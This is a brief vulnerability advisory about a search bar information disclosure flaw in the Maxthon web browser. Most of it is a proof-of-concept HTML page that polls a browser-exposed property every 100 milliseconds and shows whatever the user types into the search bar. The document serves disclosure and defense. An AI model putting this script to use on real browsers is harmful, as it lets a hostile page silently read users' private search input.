Maxthon Web Browser Search Bar Information Disclosure Vulnerability

Maxthon Web Browser Search Bar Information Disclosure Vulnerability

An exploit is not required.

The following proof of concept is available:

<html>
<head>
<title>Maxthon's Search Bar Information Disclosure PoC</title>
<script>
function sniff() {
try {
s.value=external.m2_search_text;
}
catch(e) {}
}
function body_onload() {
window.setInterval('sniff()',100);
}
</script>
</head>
<body onload="body_onload()">
Information typed in Maxthon's search bar will be displayed here: <input type="text" id="s" value='' readonly="true" />
</body>
</html>